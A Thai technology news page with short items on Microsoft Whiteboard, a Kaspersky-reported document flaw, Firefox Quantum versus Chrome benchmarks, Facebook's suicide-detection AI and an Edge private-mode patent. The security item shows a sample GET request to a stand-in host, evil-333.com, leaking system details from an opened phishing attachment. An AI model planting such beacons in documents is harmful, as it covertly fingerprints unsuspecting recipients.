ไมโครซอฟท์เปิดตัวแอพพลิเคชั่น Whiteboard กระดานไวท์บอร์ดดิจิตอล

ข่าว it

เมื่อต้นปีที่ผ่านมา ไมโครซอฟท์ได้เปิดตัวแอพพลิเคชั่น Whiteboard กระดานไวท์บอร์ดดิจิตอล พื้นที่ระดมความคิดสำหรับทุกคนที่มีอุปกรณ์ Windows 10 ซึ่งสามารถเข้าใช้งานได้โดยการลงชื่อเข้าใช้ด้วยบัญชี Microsoft

Whiteboard เป็นความพยายามที่จะบุกเบิกพื้นที่ใหม่ของการทำงานร่วมกันภายในองค์กร แม้ว่าจะมุ่งเน้นไปที่ธุรกิจและการใช้งานเฉพาะบน Windows 10 เท่านั้น แต่ก็นับเป็นการเริ่มต้นที่ดีในการพัฒนาระบบการทำงาน และความคิดสร้างสรรค์ภายในองค์กร เช่นเดียวกับผลิตภัณฑ์ตระกูล Surface อย่างเช่น กระดานอัจฉริยะ Surface Hub หรือ Jamboard ของทางกูเกิ้ลที่เพิ่งเปิดตัวไปไม่นานนี้

อย่างไรก็ตาม แอพพลิเคชั่น Whiteboard ไม่ได้จำกัดการใช้งานอยู่แค่กับอุปกรณ์ซีรี่ส์ Surface เท่านั้น แต่จะให้ทุกคนที่มีอุปกรณ์ Windows 10 หรือ Windows 10 S สามารถเข้าถึงได้ทั้งหมด

สำหรับการเปิดตัวครั้งแรก Whiteboard จะใช้งานได้เฉพาะภาษาอังกฤษเท่านั้น ถ้าหากคุณต้องการบันทึกงาน คุณต้องเข้าสู่ระบบด้วยบัญชี Microsoft และหากคุณต้องการใช้แอพฯ เพื่อทำงานร่วมกัน(ซึ่งไม่จำเป็นต้องทำพร้อมกันแบบเรียลไทม์) ต้องมีผู้เข้าร่วมที่มีบัญชี Office 365 อย่างน้อยหนึ่งคน โดยกระดานไวท์บอร์ดของคุณจะถูกบันทึกลงในเซิร์ฟเวอร์ของ Microsoft ในสหรัฐอเมริกา ซึ่งในอนาคตจะทยอยเปิดให้บริการในพื้นที่ต่างๆ ทั่วโลก

ระวัง! ถูกแฮกข้อมูลแบบไม่รู้ตัว

Kaspersky Lab ค้นพบช่องทางขโมยข้อมูลแบบใหม่ ในฟีเจอร์ของโปรแกรมพิมพ์เอกสารยอดนิยม ที่สามารถนำมาใช้ดักจับข้อมูลต่างๆ ไม่ว่าจะเป็น ข้อมูลเบราว์เซอร์ ข้อมูลเวอร์ชั่นของระบบปฏิบัติการ ข้อมูลซอฟต์แวร์ หรืออุปกรณ์ที่เปิดไฟล์ ทั้งบนคอมพิวเตอร์พีซี และมือถือสมาร์ทโฟน ได้แบบชนิดที่เรียกว่า “แนบเนียนสุดๆ

ระวัง! ถูกแฮกข้อมูลแบบไม่รู้ตัว ถ้าเปิดดูไฟล์ในอีเมลที่ไม่น่าไว้วางใจ
ตัวอย่างไฟล์เอกสาร “คำแนะนำวิธีการใช้กูเกิ้ลเสิร์ชเอนจิ้นให้ได้ประโยชน์สูงสุด” ที่ดูเหมือนจะไม่มีอะไร แต่ภายในมีโค้ดล้วงข้อมูลฝังอยู่

สิ่งที่จะทำให้ช่องโหว่นี้ทำงานก็คือ ไฟล์เอกสารที่แนบมาใน ฟิชชิงอีเมล (อีเมลที่หลอกให้คนกดเข้าไปอ่าน) หากผู้ใช้ “เปิดดูไฟล์” มันก็จะทำการส่งคำขอ GET Request ไปยังเว็บไซต์ภายนอกพร้อมกับข้อมูลต่างๆ โดยที่เราไม่รู้ตัว

*ตัวอย่างข้อมูลที่ถูกส่งไปยังเว็บไซต์ภายนอก
GET http://evil-333.com/cccccccccccc/ccccccccc/ccccccccc.php?cccccccccc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: evil-333.com
Proxy-Connection: Keep-Alive

และข้อมูลที่ถูกส่งออกไปนั้น มีทั้งประเภทของเว็บเบราว์เซอร์ที่ใช้ (Browser) ข้อมูลเวอร์ชั่นระบบปฏิบัติการ (OS) ข้อมูลซอฟต์แวร์ต่างๆ ที่ติดตั้งในเครื่อง (Trident, SLCC, .NET ฯลฯ) รวมถึงโปรแกรมที่ใช้เปิดไฟล์นั้นอีกด้วย ถือว่าเป็นเรื่องที่อันตรายมากๆ หากข้อมูลเหล่านี้อยู่ในมือแฮกเกอร์ อาจส่งผลเสียร้ายแรง และไม่แน่ว่าอาจจะถูกเจาะเข้าระบบง่ายขึ้นก็ได้นะ โดยช่องโหว่นี้ทาง Kaspersky Lab ได้แจ้งให้ผู้มีส่วนเกี่ยวข้องทราบเรียบร้อยแล้ว แต่ยังไม่มีการตอบกลับมาแต่อย่างใด เราคงต้องรอติดตามข่าวกันอีกที

อย่างไรก็ตามผู้เขียนมีวิธีป้องกันตัวแบบง่ายที่ใครๆ ก็ทำได้มาแนะนำก็คือ หลีกเลี่ยงการดาวน์โหลดไฟล์ต่างๆ ที่เราไม่รู้แหล่งที่มา และถ้าจำเป็นต้องเปิดจริงๆ ให้นำชื่อของแหล่งที่มานั้น ไปเสิร์ชหาข้อมูลบนอินเทอร์เน็ตก่อน เมื่อเราคิดว่ามั่นใจแล้วจึงค่อยเปิดดู ซึ่งวิธีนี้ยังใช้ป้องกันมัลแวร์ต่างๆ ได้อีกด้วยนะ หวังว่าข้อมูลนี้จะมีประโยชน์ไม่มากก็น้อยแก่ผู้อ่านทุกคน

Firefox Quantum ปะทะ Google Chrome

วันก่อนเราเพิ่งจะพูดถึงเบราว์เซอร์ตัวใหม่ Firefox Quantum ไป ตอนนี้มีผลการทดสอบประสิทธิภาพการทำงานเมื่อเทียบกับ Google Chrome ออกมาแล้วนะครับ

การทดสอบนี้ใช้ซีพียู Core i5 2500k และแรม 8GB ทั้งสองเบราว์เซอร์ไม่มีการติดตั้ง Extension หรือ Add-ons และมีการล้างประวัติการเล่นเว็บ, Cache และ Cookies จนหมดแล้ว มีการทดสอบทั้งหมดสามครั้งเพื่อหาค่าเฉลี่ยที่แม่นยำที่สุด ผลจะออกมาอย่างไร มาดูกัน


ทดสอบ Ares-6

Ares-6 จะเป็นการทดสอบว่าตัวเบราว์เซอร์สามารถรัน Javascript และค่าฟ่ังค์ชั่นต่างๆ ได้เร็วขนาดไหน

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งน้อย ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

จากการทดสอบ จะเห็นได้ว่า ความเร็วในการประมวลผล Javascript เบราว์เซอร์ Chrome ยังมีประสิทธิภาพที่เร็วกว่ามากพอสมควร

ผู้ชนะ : Google Chrome


JetStream

JetStream 1.1 เป็นการทดสอบความสามารถในการทำงานของเว็บแอพพลิเคชั่น มันจะวัดค่าหลายอย่าง เช่น 3D cube rotation, Integer math และ Library parsing

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งเยอะ ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

ผลการทดสอบในครั้งนี้ Firefox ได้คะแนนที่สูงกว่าเล็กน้อย ทาง JetStream ได้ระบุว่า “Firefox ทำงานด้าน Advanced workloads และ Programming techniques ได้ดีกว่าเล็กน้อย”

ผู้ชนะ : Firefox Quantum


Speedometer

Speedometer เป็นการจำลองการกระทำของผู้ใช้งานบนหน้าเว็บแอพพลิเคชั่น (อย่างเช่น การใส่ข้อมูลลงในตารางสิ่งที่ต้องทำ (To-do list)) และทำการวัดค่าระยะเวลาทีี่ต้องใช้

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งเยอะ ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

ผลการทดสอบออกมาพบว่า การโต้ตอบกับผู้ใช้งานนั้น Chrome ก็ยังทำงานได้เร็วกว่าอยู่ดี

ผู้ชนะ : Google Chrome


สรุป

Firefox Quantum มีการพัฒนาขึ้นมาจนท้าชนกับ Chrome ได้อย่างน่าสนใจ แม้ว่าความเร็วโดยรวมจะยังสู้ Chrome ไม่ได้ แต่ Firefox ก็มีข้อดีตรงที่ทรัพยากรแรมในการทำงานน้อยกว่า Chrome พอสมควร ซึ่งทาง Mozilla เคลมว่าใช้น้อยกว่า Chrome ถึง 30% เลยล่ะ

Facebook เริ่มใช้งานระบบปัญญาประดิษฐ์ใหม่

ในยุคที่ผู้คนเขียนบรรยายทุกเรื่องราวในชีวิตลง Facebook จึงไม่น่าแปลกใจที่บางคนอาจจะโพสต์ข้อความบางอย่าง หรือโพสต์เนื้อหาวีดีโอ ที่สื่อให้เห็นว่าเขามีความคิดที่อยากจะฆ่าตัวตาย ซึ่งการโพสต์เนื้อหาที่ว่านี้ อาจจะเกิดขึ้นในเวลา 2-3 วันก่อนที่เขาจะตัดสินใจลงมือจริง และด้วยความตั้งใจจริงที่จะรับมือกับปัญหาการฆ่าตัวตายในระดับที่ก้าวหน้า Facebook ได้ทำการเปิดตัวเครื่องมือปัญญาประดิษฐ์ใหม่ ที่ออกแบบมาเพื่อการตรวจจับโพสต์ที่สื่อความหมายว่า ผู้โพสต์กำลังมีความคิดอยากฆ่าตัวตาย เพื่อการให้คำแนะนำ และนำเสนอความความช่วยเหลือได้อย่างทันท่วงที ก่อนที่จะมีการลงมือจริง

เครื่องมือปัญญาประดิษฐ์ใหม่ของ Facebook สามารถวิเคราะห์และตรวจจับโพสต์ รวมถึงวีดีโอ Live ที่มีความหมายสื่อถึงการอยากฆ่าตัวตาย โดยที่ระบบปัญญาประดิษฐ์สามารถนำเสนอตัวเลือก สำหรับช่องทางการช่วยเหลือ อย่างเช่นการโทรคุยกับสายที่ให้คำปรึกษาคนที่มีความคิดอยากฆ่าตัวตาย หรือแสดงทิปส์คำแนะนำเพื่อให้คนที่มีความคิดอยากฆ่าตัวตายสามารถผ่านช่วงเวลาที่ยากลำบากไปได้ หรือนำเสนอตัวเลือกเพื่อให้พูดคุยกับเพื่อสนิท และทาง Facebook บอกว่าฟีเจอร์ใหม่นี้จะเปิดให้บริการกับผู้คนทั่วโลกในที่สุดแต่ยกเว้นการให้บริการผู้คนในกลุ่มประเทศ EU

Facebook เริ่มใช้งานระบบปัญญาประดิษฐ์ใหม่ ให้ความช่วยเหลือคนที่คิดฆ่าตัวตาย

โดย Facebook อธิบายถึงวิธีการทำงานของระบบนี้เอาไว้ว่า

  • พวกเราใช้ระบบปัญญาประดิษฐ์ในการจัดลำดับความสำคัญของเนื้อหาที่สื่อถึงความคิดอยากฆ่าตัวตาย ไม่ว่าจะเป็นโพสต์ คลิปวีดีโอ หรือการ Live เพื่อให้ทีมงานของเราสามารถไล่ดูเนื้อหาได้อย่างเหมาะสม ตามลำดับความสำคัญก่อนหลัง เพื่อที่เราจัดได้จัดเตรียมช่องทางการช่วยเหลือที่เหมาะสม
  • บริบทในภาพรวมของเนื้อหาก็มีความสำคัญกับทีมงานของเรามาก ดังนั้นเราจึงพัฒนาเครื่องมือเพื่อทำให้ผู้คนได้รับความช่วยเหลือเร็วที่สุดเท่าที่จะเป็นไปได้ ตัวอย่างเช่น ทีมงานของเราสามารถตรวจสอบได้อย่างรวดเร็วว่า ช่วงเวลาไหนของคลิปวีดีโอ ที่มีการคอมเม้นท์ของผู้คนเป็นจำนวนมาก รวมถึงปฏิกิริยาของผู้คนบน Facebook ซึ่งเครื่องมือเหล่านี้ทำให้ทีมงานเข้าใจได้ว่า ใครต้องการความช่วยเหลืออย่างแท้จริง
  • นอกจากจะมีเครื่องมือต่างๆ แล้ว พวกเขายังใช้ระบบอัตโนมัติ ที่ช่วยให้สามารถเข้าถึงข้อมูลเกี่ยวกับช่องทางการช่วยเหลือต่างๆ ได้อย่างรวดเร็ว

และทาง Facebook ยังให้ข้อมูลเพิ่มเติมอีกว่า มีทีมงานประจำในหน้าทีนี้ 365 วันใน 1 ปี เพื่อคอยตรวจสอบโพสต์และเนื้อหาใดๆ ที่แสดงถึงความต้องการฆ่าตัวตาย และในเวลานี้ Facebook ทำงานอย่างใกล้ชิดกับหน่วยงานที่ให้ความช่วยเหลือผู้ที่กำลังจะฆ่าตัวตาย เพื่อประสานให้ความช่วยเหลืออย่างรวดเร็ว

ข่าว Information Technology(IT)

Private Browsing Mode หรือโหมดไม่ระบุตัวตน เป็นฟีเจอร์ที่มีประโยชน์มากในการใช้งานเว็บเบราว์เซอร์ การใช้งานในโหมดนี้ จะทำให้หน้าเว็บหรือไฟล์ที่ดาวน์โหลดมา จะไม่ถูกบันทึกในประวัติการใช้งานเบราว์เซอร์  ซึ่งช่วยเพิ่มความปลอดภัยในขณะที่คุณเข้าใช้งานเว็บไซต์ที่เป็นข้อมูลส่วนบุคคล หรือมีเนื้อหาที่ละเอียดอ่อน อย่างเช่น Paypal หรืออินเทอร์เน็ตแบงค์กิ้ง รวมไปถึงกรณีที่คุณอาจจะไม่อยากให้ใครๆ รู้ว่าคุณแอบดูเว็บโป๊ด้วยก็ได้

แต่การเคลียร์ประวัติการใช้งานนั้นจะเกิดขึ้น ก็ต่อเมื่อคุณไม่ลืมที่จะเปิด “โหมดไม่ระบุตัวตน” ที่ว่านี้ทุกครั้ง ซึ่งคงจะดีแน่ๆ ถ้าเว็บเบราว์เซอร์สามารถเปลี่ยนเข้าสู่โหมดไม่ระบุตัวตนให้คุณแบบอัตโนมัติทุกครั้งที่มีการเปิดใช้งานเว็บไซต์ที่มีเนื้อหาละเอียดอ่อนอย่างที่ว่ามานี้

ข่าวดีก็คือ ในตอนนี้ไมโครซอฟท์ได้พัฒนาฟีเจอร์ใหม่เพื่อรองรับการทำงานที่ว่านี้แล้ว ซึ่งกำลังอยู่ในช่วงการยื่นขอรับสิทธิบัตรอยู่ โดยคาดว่าจะเพิ่มให้กับโปรแกรมเว็บเบราว์เซอร์ Edge ในอนาคต

ไมโครซอฟท์พัฒนาฟีเจอร์ให้เบราว์เซอร์เข้าโหมดไม่ระบุตัวตนทันที เมื่อเข้าเว็บที่อาจมีอันตราย

ฟีเจอร์ที่ว่านี้จะทำการตรวจสอบเว็บไซต์ที่คุณเปิดกับฐานข้อมูล และถ้าหากพบการนี่คือเว็บไซต์ที่มีเนื้อหาละเอียดอ่อน(NSFW) ระบบก็จะเปลี่ยนไปที่ใช้งานในโหมดไม่ระบุตัวตนให้โดยอัตโนมัติ นอกจากนี้คุณยังสามารถเพิ่มเว็บไซต์ที่คุณต้องการเปิด(หรือไม่เปิด) ในโหมดส่วนตัวได้เองด้วย

สิ่งสำคัญที่คุณยังต้องจำไว้คือ ถึงอย่างไรการทำงานของเบราว์เซอร์ยังคงมีการส่ง DNS Request ในทุกครั้งที่คุณเข้าใช้งานเว็บอะไรก็ตาม ซึ่งมันจะยังคงถูกบันทึกเอาไว้ที่ไหนซักที่บนโลกนี้อยู่ดี

Follow by Email
Facebook
GOOGLE
TWITTER
YOUTUBE